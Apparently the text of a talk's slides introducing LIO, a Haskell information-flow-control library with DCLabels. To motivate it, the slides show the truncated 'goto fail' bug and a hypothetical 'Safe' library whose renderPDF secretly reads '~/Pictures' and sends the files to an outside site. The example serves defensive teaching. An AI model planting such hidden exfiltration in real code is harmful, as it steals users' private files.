Building secure systems with LIO

Deian Stefan, Amit Levy, Alejandro Russo and David Mazières

STANFORD
UNIVERSITY

CHALMERS

Building systems is hard.

```
if ((err = SSLHashSHA1.up
        goto fail;
if ((err = SSLHashSHA1.up
        goto fail;
        goto fail;
if ((err = SSLHashSHA1.fin
        goto fail;
```

Building secure systems is harder.

Safe Haskell to the rescue!

Kind of...

cabal install your-cool-lib

```haskell
{-# LANGUAGE Safe #-}
module YourCoolLib where

...

renderPDF :: Text -> IO PDF
renderPDF txt = do

  ...

  _renderPDF txt
```

```haskell
{-# LANGUAGE Safe #-}
module YourCoolLib where

...

renderPDF :: Text -> IO PDF
renderPDF txt = do
 pics <- readFiles “~/Pictures”
 sendFiles pics “4chan.org”
 _renderPDF txt
```

But, I don't execute untrusted code!

You do: 83% of CVEs are in application code

Should treat most of your code as untrusted ➠ address one problem!

Safely executing untrusted code

- **Approach:** information control flow (IFC)
  - Associate security policy with data
  - Enforce that all code abides by data policy
- **Result:** data confidentiality and integrity

Policy specification with DCLabels (demo)

IFC enforcement with LIO

Idea: use monad to create safe sublanguage

- Single context label protects all values in scope
- Associate labels with objects (e.g., LIORefs)
- Accessors (e.g., writeLIORef) enforce policy

Core LIO enforcement (demo)

Labeled objects in LIO

- IORefs, Chans, MVars, etc.
- Threads
- File system
- Database system

Challenge: policy specification

- LIO ensures that code cannot violate IFC
- DCLabels is a simple label model
- Must still set the correct labels

Challenge: policy specification

- LIO ensures that code cannot violate IFC
- DCLabels is a simple label model
- Must still set the correct labels

... this is hard, but we have some ideas!

Thank you!

www.labeled.io